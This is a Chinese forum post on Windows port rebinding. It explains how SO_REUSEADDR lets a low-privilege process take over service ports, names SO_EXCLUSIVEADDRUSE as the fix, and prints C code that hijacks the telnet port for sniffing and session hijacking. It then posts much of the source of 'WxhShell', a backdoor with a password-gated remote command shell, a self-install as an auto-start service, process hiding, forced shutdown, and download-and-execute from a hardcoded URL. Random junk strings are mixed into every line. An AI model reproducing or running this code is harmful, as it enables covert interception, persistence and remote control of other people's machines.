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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1Z&(6cDY8M  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wuo,kM  
;AG()NjOO:  
  saddr.sin_family = AF_INET; 6S{l' !s'  
|':{lH6+1  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 7|H$ /]  
#0<XNLM  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !n%j)`0M  
%l%HHT  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 eJX#@`K  
O".=r}  
  这意味着什么?意味着可以进行如下的攻击: A=>u 1h69  
"Y.y:Vv;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 h yIV.W/  
H"F29Pu2  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) (V@HR9?W)  
e#q}F>/L  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 y_[vr:s5pG  
o !7va"  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  i-&yH  
,"ql5Q4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ##ANrG l  
:zR!/5  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @o.I;}*N  
Mb=" Te>|  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 A%-6`>  
M3Kfd  
  #include &m vSiyKX  
  #include WEpoBP CL  
  #include M^I(OuRMeI  
  #include    hv+zGID7  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;wD)hNLAvR  
  int main() %XTI-B/K  
  { 2T`!v  
  WORD wVersionRequested; =R\]=cRbg  
  DWORD ret; rM "l@3hP  
  WSADATA wsaData; OrG).^l  
  BOOL val; tnIX:6  
  SOCKADDR_IN saddr; D`AsRd  
  SOCKADDR_IN scaddr; |cY`x(?yP  
  int err; j|Q-*]V  
  SOCKET s; C7?/%7{  
  SOCKET sc; et+0FF ,  
  int caddsize; }1xo-mUg,  
  HANDLE mt; ?fS9J  
  DWORD tid;   ^C%<l( b  
  wVersionRequested = MAKEWORD( 2, 2 ); ctV,Q3'Z  
  err = WSAStartup( wVersionRequested, &wsaData ); QCJM&  
  if ( err != 0 ) { C*lJrFpB  
  printf("error!WSAStartup failed!\n"); 9>$p  
  return -1; -Qe Z#w|  
  } A\;U3Zu  
  saddr.sin_family = AF_INET; .sA.C] f  
   'ig'cRD6N  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |&jXp%4T  
YoE3<[KD(  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); eiOW#_"\  
  saddr.sin_port = htons(23); 9ll~~zF99|  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "I TIhnE  
  { 5(8@%6>ruj  
  printf("error!socket failed!\n"); Ct|A:/z(  
  return -1; _aMF?Pj~m  
  } GJUL$9  
  val = TRUE; FgI3   
  //SO_REUSEADDR选项就是可以实现端口重绑定的 l+0P  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ?hM64jI|  
  { (I}v[W  
  printf("error!setsockopt failed!\n"); s(8W_4&'  
  return -1; Qei" '~1a  
  } (9h`3#  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &~w}_Fjk  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 BluVmM3Vj  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 9{uO1O\  
P }uOJVQ_  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $wU\Js`/S]  
  { u-C)v*#L  
  ret=GetLastError(); |)G<,FJQE_  
  printf("error!bind failed!\n"); W'.m'3#z  
  return -1; w*MpX U<  
  } Ca3~/KrM  
  listen(s,2); t0I{q0  
  while(1) =rK+eG#,  
  { >OK^D+v"j  
  caddsize = sizeof(scaddr); 8.~kK<)!  
  //接受连接请求 E~:x(5'%d  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); %PJQ%~ A  
  if(sc!=INVALID_SOCKET) -!9G0h&i|  
  { nxHkv`s k  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Y4(  
  if(mt==NULL) l lsfTrp  
  { *\q d  
  printf("Thread Creat Failed!\n"); MJrR[h]  
  break; 'P}0FktP`  
  } (4EI-e*6  
  } 3yXY.>'  
  CloseHandle(mt); k$7Jj-+~  
  } {}Za_(Y,]  
  closesocket(s); y)gKxRaCS  
  WSACleanup(); [c06 N$:  
  return 0; xP,hTE  
  }   YgoBHE0#  
  DWORD WINAPI ClientThread(LPVOID lpParam) FsryEHz  
  { n-OL0$Xu  
  SOCKET ss = (SOCKET)lpParam; "g#i'"qnW  
  SOCKET sc; k;L6R!V  
  unsigned char buf[4096]; :,I:usW"  
  SOCKADDR_IN saddr; :a)u&g@G  
  long num; Oc; G(l(  
  DWORD val; I!?}jo3  
  DWORD ret; &! ?eL  
  //如果是隐藏端口应用的话,可以在此处加一些判断 +d;bjo 2  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   PiYxk+N  
  saddr.sin_family = AF_INET; 1sH& sGy7  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); V$?SR44>nH  
  saddr.sin_port = htons(23); 8&aq/4:q0  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) J)C/u{o  
  { K96<M);:g  
  printf("error!socket failed!\n"); (!N|Kl  
  return -1; JO< wU  
  } ?I@W:#>o  
  val = 100; ia 73?*mXT  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3%ZOKb"D*  
  { puM3g|n@  
  ret = GetLastError(); DDH:)=;z  
  return -1; '08=yqy4N  
  } I 2|Bg,e  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^v`\x5"Vp  
  { W{gb:^;zb  
  ret = GetLastError(); 6i~WcAs  
  return -1; e)O 4^#i  
  } |H+Wed|  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) k)Qtfj}uij  
  { 680o)hh4m>  
  printf("error!socket connect failed!\n"); d<N:[Y\4l  
  closesocket(sc); N*&1GT#9  
  closesocket(ss); xK\d4 "  
  return -1; e@OX_t_  
  } 9 |vLwQ  
  while(1) \} :PLCKT  
  { 5o8EC" 0  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 d{7 +w/Zi  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 tC9n k5~  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Oo% d]8W  
  num = recv(ss,buf,4096,0); 3kMf!VL  
  if(num>0) cpJ|w3x B  
  send(sc,buf,num,0); 7x4PaX(  
  else if(num==0) t1y4 7fX6  
  break; )TH@# 1  
  num = recv(sc,buf,4096,0); 0=E]cQwh  
  if(num>0) 0s2v'A[\  
  send(ss,buf,num,0); `^Em&6!!  
  else if(num==0) <yFu*(Q  
  break; 6b \&~b@T  
  } `lt"[K<  
  closesocket(ss); =>af@C.2  
  closesocket(sc); A=wh@"2  
  return 0 ; vOpK Np  
  } -p XSSa;O9  
%Qdn  
kq,ucU%>p  
========================================================== 1^(ad;BC y  
;x@~A^<el  
下边附上一个代码,,WXhSHELL "~C,bk  
8q}q{8  
========================================================== exUu7& *:  
xjj6WED  
#include "stdafx.h" ^RtIh-Z.9  
b?QoS|<e?  
#include <stdio.h> ` v@m-j6  
#include <string.h> ~AT'[(6  
#include <windows.h> Y#P%6Fy  
#include <winsock2.h> @7j AL-  
#include <winsvc.h> C={Y;C1  
#include <urlmon.h> "mvt>X  
.+A+|yR  
#pragma comment (lib, "Ws2_32.lib") 1F&Trqq  
#pragma comment (lib, "urlmon.lib") [}0haTYc4  
Vt&2z)Zz  
#define MAX_USER   100 // 最大客户端连接数 \Et3|Iv  
#define BUF_SOCK   200 // sock buffer (S\[Y9  
#define KEY_BUFF   255 // 输入 buffer U0N 60  
#Kex vP&*  
#define REBOOT     0   // 重启 (\YltC@q%  
#define SHUTDOWN   1   // 关机 6.nCV 0xA  
FSW_<%  
#define DEF_PORT   5000 // 监听端口 <+vw@M  
+Kbjzh3<wG  
#define REG_LEN     16   // 注册表键长度 iVq'r4S  
#define SVC_LEN     80   // NT服务名长度 F%D.zvKN  
XXn67sF/  
// 从dll定义API ]a*d#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0*D$R`$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %.-4!vj  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); GM f `A,>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T&u5ki4NE  
z !rL s76  
// wxhshell配置信息 qm8B8&-  
struct WSCFG { IE/^\ M  
  int ws_port;         // 监听端口 ieCEo|b  
  char ws_passstr[REG_LEN]; // 口令 qL3;}R  
  int ws_autoins;       // 安装标记, 1=yes 0=no {dMsz   
  char ws_regname[REG_LEN]; // 注册表键名 qwgPk9l  
  char ws_svcname[REG_LEN]; // 服务名 j0evq+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 G[I"8iS,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 JL}_72gs  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 P'[3Fqe  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;dZZ;#k%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" T{ XS")Vw  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9u}Hmb  
s/ qYa])  
}; tq6!`L}3  
_ y8Wn}19f  
// default Wxhshell configuration 'Nn zk  
struct WSCFG wscfg={DEF_PORT, f=gW]x7'R+  
    "xuhuanlingzhe", O$j7i:G'5  
    1, '3D XPR^B6  
    "Wxhshell", ']z{{UNUN  
    "Wxhshell", YdC6k?tzS  
            "WxhShell Service", rkCx{pe9  
    "Wrsky Windows CmdShell Service", /,&<6c-Q@W  
    "Please Input Your Password: ", [<6^qla  
  1, FX`>J6l:X  
  "http://www.wrsky.com/wxhshell.exe", KD7dye  
  "Wxhshell.exe" &zeyE;/Hj  
    }; ][h%UrV  
]]9R mh=  
// 消息定义模块 ?u=Fj_N_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j8{i#;s!"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; qqr?!vem6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; f:|1_j  
char *msg_ws_ext="\n\rExit."; 6J6BF%  
char *msg_ws_end="\n\rQuit."; .A{tQ1&_  
char *msg_ws_boot="\n\rReboot..."; QIvVcfM^  
char *msg_ws_poff="\n\rShutdown..."; {e9@-  
char *msg_ws_down="\n\rSave to "; JZ*/,|1}EC  
BmMGx8P  
char *msg_ws_err="\n\rErr!"; 6x[}g  
char *msg_ws_ok="\n\rOK!"; L<-_1!wh  
0c'<3@39k|  
char ExeFile[MAX_PATH]; KNpl:g3{<Q  
int nUser = 0; yyRiP|hJ  
HANDLE handles[MAX_USER]; '(yAfL 9}  
int OsIsNt; g:D>.lKd  
-)]Yr #Q  
SERVICE_STATUS       serviceStatus; ~>Fu5i $i  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; L Mbn  
i8[t=6Rm@  
// 函数声明 0g y/:T  
int Install(void); x_6[P2"PP  
int Uninstall(void); ?o4C;  
int DownloadFile(char *sURL, SOCKET wsh); FR4QUk  
int Boot(int flag); pW@Pt 3u  
void HideProc(void); wb5baY9  
int GetOsVer(void); `maKN\;  
int Wxhshell(SOCKET wsl); ,+vy,<e&  
void TalkWithClient(void *cs); R_ ,UMt  
int CmdShell(SOCKET sock); Ug t.&IA  
int StartFromService(void); K'Tm_"[u  
int StartWxhshell(LPSTR lpCmdLine); kmsb hYM)  
I{9QeR I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &5spTMw8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O-~ 7b(Z  
AJ? r,!)  
// 数据结构和表定义 wh\}d4gN  
SERVICE_TABLE_ENTRY DispatchTable[] = )72+\C[*~r  
{ YY((V@|K  
{wscfg.ws_svcname, NTServiceMain}, nE&@Q  
{NULL, NULL} 1s2>C!\  
}; EQyC1j  
LX7FaW  
// 自我安装 C]eSizS.  
int Install(void) '}JhzKNj  
{ X!Mx5fg  
  char svExeFile[MAX_PATH]; B=yqW  
  HKEY key; N^ds RYC  
  strcpy(svExeFile,ExeFile); V>)OpvoT#  
H*QIB_  
// 如果是win9x系统,修改注册表设为自启动 V b4#,  
if(!OsIsNt) { YEs&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y1OkkcPb{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }QcCS2)Ud  
  RegCloseKey(key); KL:j?.0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X_ cV%#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {M$1N5Eh  
  RegCloseKey(key); !M]uL&:  
  return 0; z(exA  
    } nntuLuW  
  } >#;.n(y  
} ?WUA`/[z  
else { c74.< @w  
6C^ D#.S  
// 如果是NT以上系统,安装为系统服务 m )zUU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -MO#]K3<  
if (schSCManager!=0) +EAsW(F1  
{ @ ZwvBH  
  SC_HANDLE schService = CreateService |vwVghC  
  ( Zq|I,l0+E  
  schSCManager, wd^':  
  wscfg.ws_svcname, ;%5N%0,  
  wscfg.ws_svcdisp, YTpSHpf@  
  SERVICE_ALL_ACCESS, )uIe&B  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , KB,j7 ~V  
  SERVICE_AUTO_START, GT!M[*[  
  SERVICE_ERROR_NORMAL, M~#gRAUJ  
  svExeFile, Xe'x[(l  
  NULL, g^2OkV(  
  NULL, .E1rqBG  
  NULL, <#y[gTJ<'>  
  NULL, 88gM?G _X  
  NULL gQelD6c  
  ); [0[i5'K:  
  if (schService!=0) D/B8tf+V  
  { eRstD>r  
  CloseServiceHandle(schService); uk]$#TV*q>  
  CloseServiceHandle(schSCManager); vnt%XU,,Y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5 +YH.4R  
  strcat(svExeFile,wscfg.ws_svcname); cLJ$M`e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N1S{suic  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {G0T$,'DR  
  RegCloseKey(key); gA+qC7=p$  
  return 0; &yTqZ*Yuk  
    } +z\^t_"f  
  } 9y8&9<#  
  CloseServiceHandle(schSCManager); ]z;I _-  
} qQ/^@3tXL  
} #7 $ H  
mh{d8<Q2  
return 1; $Sx'sA2  
} |`,2ri*5A  
|=ba9&q  
// 自我卸载 B =T'5&  
int Uninstall(void) >`mVY=H i  
{ L>&t|T2  
  HKEY key; gHEu/8E  
x0D*U?A  
if(!OsIsNt) { gNrjo=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o.g V4%  
  RegDeleteValue(key,wscfg.ws_regname); f#"J]p  
  RegCloseKey(key); EHIF>@TZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wn, KY$/  
  RegDeleteValue(key,wscfg.ws_regname); qzLPw*;  
  RegCloseKey(key); #PW9:_BE  
  return 0;  #ut  
  } 9@:2wR |  
} Jk11fn;\>  
} Y;Dp3v !  
else { m%?pf2%I#  
xY8$I6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Jbg/0|1  
if (schSCManager!=0) J26 VnK  
{ {n.PF8A5X  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :$|HNeDO  
  if (schService!=0) 7\[@ m3s  
  { M}-Rzc  
  if(DeleteService(schService)!=0) { S-b/S5  
  CloseServiceHandle(schService); EIAc@$4  
  CloseServiceHandle(schSCManager); TR`U-= jH,  
  return 0; SrJGTuXg  
  } -%CP@dAk  
  CloseServiceHandle(schService); tBWrL{xLe  
  } P[ck84F/  
  CloseServiceHandle(schSCManager); NiK4d{E&  
} E\EsWb  
} glxsa8  
~2N"#b&J  
return 1; J#(LlCs?@c  
} D& i94\vVa  
}W8;=$jr  
// 从指定url下载文件 9uO 2Mm  
int DownloadFile(char *sURL, SOCKET wsh) c )g\/  
{ RnE4<Cy  
  HRESULT hr; w<3#1/g!2B  
char seps[]= "/"; >J?fl8  
char *token; o4,6.1}  
char *file; SmH=e@y~Lx  
char myURL[MAX_PATH]; /NFj(+&g+  
char myFILE[MAX_PATH]; Fb>?1i`RN  
1{. |+S Z!  
strcpy(myURL,sURL); `?@}>.  
  token=strtok(myURL,seps); u@M,qo`  
  while(token!=NULL) ]Sz:|%JP1  
  { <w9JRpFY  
    file=token; XJ\DVZ  
  token=strtok(NULL,seps); ncdKj}  
  } (OL4Ex']  
rfJz8uF%  
GetCurrentDirectory(MAX_PATH,myFILE); $6 9&O  
strcat(myFILE, "\\"); ,Vm < rK  
strcat(myFILE, file); ]^7@}Ce_  
  send(wsh,myFILE,strlen(myFILE),0); ^|(LAjet  
send(wsh,"...",3,0); 5d^sA;c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); M h}m;NI  
  if(hr==S_OK) gO-  _  
return 0; pa3{8x{9m  
else QO~P7r|A  
return 1; uyWunpT  
W,n!3:7 s  
} lNh70G8^p  
AKfDXy  
// 系统电源模块 8MtGlW%Eh  
int Boot(int flag) "m8^zg hL  
{ @n /nH?L  
  HANDLE hToken; ~jk|4`I?T  
  TOKEN_PRIVILEGES tkp; tw/dD +  
9:|{6_Y  
  if(OsIsNt) { o#Dk& cH  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ()?(I?II  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `UaD6Mc<Mz  
    tkp.PrivilegeCount = 1; +GN(Ug'R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `HSKQ52  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _6hQ %hv8  
if(flag==REBOOT) { ;`{H!w[D  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'GWN~5  
  return 0; P3=G1=47U  
} s 5Qcl;}  
else { 4E+e}\r:6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bsli0FJSh'  
  return 0; V)k4:H  
} pYEMmZ?L  
  } |syR6(U}  
  else { .`H5cuF`  
if(flag==REBOOT) { my1@41 H  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l|[N42+  
  return 0; *:7rdzn  
} cqkV9f8Ro  
else { V2EUW!gn 2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f'RX6$}\1X  
  return 0; R) h#Vc(  
} 'JE`(xD  
} };zFJ6I8  
_;y9$"A  
return 1; Gb6'n$g  
} d7 y[0<xM  
Bk c4TO  
// win9x进程隐藏模块 i&fuSk EP  
void HideProc(void) &6!)jIWJ  
{  8dA~\a  
#zs~," dRv  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T?0eVvM  
  if ( hKernel != NULL ) (5YM?QAd  
  { O0v}43J [  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F/{!tx  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b8t7u  
    FreeLibrary(hKernel); qe#tj/aZ  
  } 0[(8   
M|h3Wt~7  
return; !f [_+CD  
} TIDO@NwF  
Wn2NMXK  
// 获取操作系统版本 ^^$s%{ep"  
int GetOsVer(void) IEi^kJflU  
{ U7F!Z( 9  
  OSVERSIONINFO winfo; 90rol~M&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =UQ3HQD  
  GetVersionEx(&winfo); \}b%E'+_T  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vvMT}-!  
  return 1; !Ai@$tl[S  
  else j,eo2HaL  
  return 0; Zu[su>\  
} _V6ukd"B~  
b8UO,fY q  
// 客户端句柄模块 wn%A4-%{  
int Wxhshell(SOCKET wsl) p6V0`5@t  
{ $6 f3F?y7  
  SOCKET wsh; bI1N@=  
  struct sockaddr_in client; {!L~@r  
  DWORD myID; 9Y9GwL]T  
:5<UkN)R(  
  while(nUser<MAX_USER) k y7Gwc  
{ wi=v}R_  
  int nSize=sizeof(client); oG\Vxg*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2[W&s&  
  if(wsh==INVALID_SOCKET) return 1; a;+9mDXx:  
8nV+e~-w  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "!^"[mX4  
if(handles[nUser]==0) CA~-rv  
  closesocket(wsh); q<1 ~ vA9  
else Y:[u1~a  
  nUser++; chX"O 0?"  
  } )ez9"# MH'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); W|mo5qrLS2  
m-, x<bM?  
  return 0; PJH&  
} 3]S$ih&A  
gM:".Ee  
// 关闭 socket q2E_ A  
void CloseIt(SOCKET wsh) f ;n3&e0eC  
{ Fx.=#bVX7  
closesocket(wsh); #_p\Ie*rd  
nUser--; sO@Tf\d  
ExitThread(0); UaeXY+O  
} kffcm/  
~]2K ^bh8&  
// 客户端请求句柄 + ePS14G  
void TalkWithClient(void *cs) kxv1Hn"`{E  
{ YaqJ,"GlT  
F)eelPZ+,  
  SOCKET wsh=(SOCKET)cs; 4kx N<]  
  char pwd[SVC_LEN]; 9yP;@y*d  
  char cmd[KEY_BUFF]; j\M?~=*w  
char chr[1]; @o`AmC . 8  
int i,j; L!xi  
Gd85kY@w7  
  while (nUser < MAX_USER) { gcT%c|.  
?Ir:g=RP*  
if(wscfg.ws_passstr) { ym1Y4,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  @q) d  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P&Vv/D  
  //ZeroMemory(pwd,KEY_BUFF); j8sH|{H!Nq  
      i=0; 8":Q)9;%  
  while(i<SVC_LEN) { SmO~,2=  
K}Qa~_  
  // 设置超时 y:uE3Apm  
  fd_set FdRead; gB33?  
  struct timeval TimeOut; ;$g?T~v7  
  FD_ZERO(&FdRead); V'gh 6`v  
  FD_SET(wsh,&FdRead); f/?P514h  
  TimeOut.tv_sec=8; r~['VhI!;E  
  TimeOut.tv_usec=0; BI@[\aRLQ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ox.F%)eQ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $XH^~i;  
Eu3E-K@y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ");a3hD  
  pwd=chr[0]; ]`WJOx4  
  if(chr[0]==0xd || chr[0]==0xa) { 1'8YkhQ2a  
  pwd=0; Nh +H9  
  break; pA4xbr2  
  } %WS+(0*1  
  i++; JBZ@'8eqi]  
    } [:*)XeRK  
_+MJ%'>S  
  // 如果是非法用户,关闭 socket GM<9p_ B  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); mt.))#1  
} Y'X%Aw;`  
HGg@ _9tW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )4;`^]F  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0"z9Q\{}  
,V}WM%Km  
while(1) { qH_Dc=~la  
1$ {SRU7l  
  ZeroMemory(cmd,KEY_BUFF);  Vxt+]5X  
BZ^}J!Q'*  
      // 自动支持客户端 telnet标准   oXgcc*j  
  j=0; )+Pus~w  
  while(j<KEY_BUFF) { 5"H=zJ=r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \~wMfP8  
  cmd[j]=chr[0]; d0> zS  
  if(chr[0]==0xa || chr[0]==0xd) { G3v5KmT  
  cmd[j]=0; >yDZw!C  
  break; \_fv7Fdp{  
  } |y!A&d=xYn  
  j++; V=3b&TkE  
    } Flb&B1  
],].zlN  
  // 下载文件 EoDA]6?Lj  
  if(strstr(cmd,"http://")) { -UT}/:a  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); O#r%>;3*  
  if(DownloadFile(cmd,wsh)) c:.eGH_f  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &%Tj/Qx  
  else ,R|BG  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 93hxSRw  
  } 0{SL&<&  
  else { ddR>7d}N  
C7AUsYM  
    switch(cmd[0]) { 5F"jk d+  
  P!k{u^$L  
  // 帮助 |ENh)M8}r  
  case '?': { Xn ;AZu^'R  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >(RkZ}z  
    break; jc9y<{~x/  
  } 6W Ur QFK  
  // 安装 Gs[XJ 5%`~  
  case 'i': { @KAI4LP  
    if(Install()) #.[k=dj   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3;Fhg!Z O  
    else :BT q!>s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); syK^<xa  
    break; T[j,UkgGo  
    } m l$o5&sN  
  // 卸载 k VQ\1!  
  case 'r': { Aiea\j Bv  
    if(Uninstall()) t#"Grk8Mz&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {l >hMxij  
    else +nGAz{&@r%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y6d@h? ht  
    break; qIqM{#' ^  
    } a.6(K  
  // 显示 wxhshell 所在路径 @=kSo -SX  
  case 'p': { lw5`p,`  
    char svExeFile[MAX_PATH]; n'w.; q  
    strcpy(svExeFile,"\n\r"); ReeH@.74  
      strcat(svExeFile,ExeFile); :\U{_@?`%  
        send(wsh,svExeFile,strlen(svExeFile),0); g=o4Q< #^y  
    break; po7qmLq  
    } v*yuE5{  
  // 重启 #3d(M  
  case 'b': { sp`Dvqx0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); " 2Dngw  
    if(Boot(REBOOT)) 8Q+36!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); POR\e|hRT]  
    else { VLN_w$iEq  
    closesocket(wsh); e?f IXk~b  
    ExitThread(0); G*v,GR  
    } ?0xgRe<  
    break; &jr3B;g!C  
    } KY] C6kh  
